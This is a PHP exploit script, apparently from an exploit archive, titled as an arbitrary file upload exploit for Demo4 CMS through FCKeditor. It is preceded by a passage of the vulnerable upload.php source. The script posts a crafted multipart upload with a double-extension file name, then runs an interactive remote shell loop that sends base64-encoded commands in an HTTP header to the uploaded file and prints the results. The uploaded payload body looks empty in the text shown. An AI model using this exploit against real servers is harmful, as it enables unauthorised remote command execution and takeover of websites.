0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 && in_array( $sExtension, $arDenied ) ) ) 63. SendResults( '202' ) ; 64. 65. $sErrorNumber = '0' ; 66. $sFileUrl = '' ; 67. 68. // Initializes the counter used to rename the file, if another one with the same name already exists. 69. $iCounter = 0 ; 70. 71. // The the target directory. 72. if ( isset( $Config['UserFilesAbsolutePath'] ) ) 73. $sServerDir = $Config['UserFilesAbsolutePath'] ; 74. else 75. //$sServerDir = GetRootPath() . $Config["UserFilesPath"] ; 76. $sServerDir = $Config["UserFilesPath"] ; 77. 78. while ( true ) 79. { 80. // Compose the file path. 81. $sFilePath = $sServerDir . $sFileName ; 82. 83. // If a file with that name already exists. 84. if ( is_file( $sFilePath ) ) 85. { 86. $iCounter++ ; 87. $sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ; 88. $sErrorNumber = '201' ; 89. } 90. else 91. { 92. move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ; 93. 94. if ( is_file( $sFilePath ) ) 95. { 96. $oldumask = umask(0) ; 97. chmod( $sFilePath, 0777 ) ; 98. umask( $oldumask ) ; 99. } 100. 101. $sFileUrl = $Config["UserFilesPath"] . $sFileName ; 102. 103. break ; */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); return $resp; } print "\n+------------------------------------------------------------+"; print "\n|Demo4 CMS Beta01 (fckeditor) Arbitrary File Upload Exploit by Stack |"; print "\n+------------------------------------------------------------+\n"; if ($argc < 2) { print "\nUsage......: php $argv[0] host path"; print "\nExample....: php $argv[0] localhost /booking_calendar/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $data = "--12345\r\n"; $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"s.php.he.ll\"\r\n"; $data .= "Content-Type: application/octet-stream\r\n\r\n"; $data .= "\n"; $data .= "--12345--\r\n"; $packet = "POST {$path}/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($data)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=12345\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $data; preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html); if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n"); else print "\n[-] Shell uploaded to {$html[2]}...starting it!\n"; define(STDIN, fopen("php://stdin", "r")); while(1) { print "\nstack-shell# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $packet = "GET {$path}datacenter/media/{$html[3]} HTTP/1.0\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Cmd: ".base64_encode($cmd)."\r\n"; $packet.= "Connection: close\r\n\r\n"; $output = http_send($host, $packet); if (eregi("print", $output) || !eregi("_code_", $output)) die("\n[-] Exploit failed...\n"); $shell = explode("_code_", $output); print "\n{$shell[1]}"; } else break; } ?>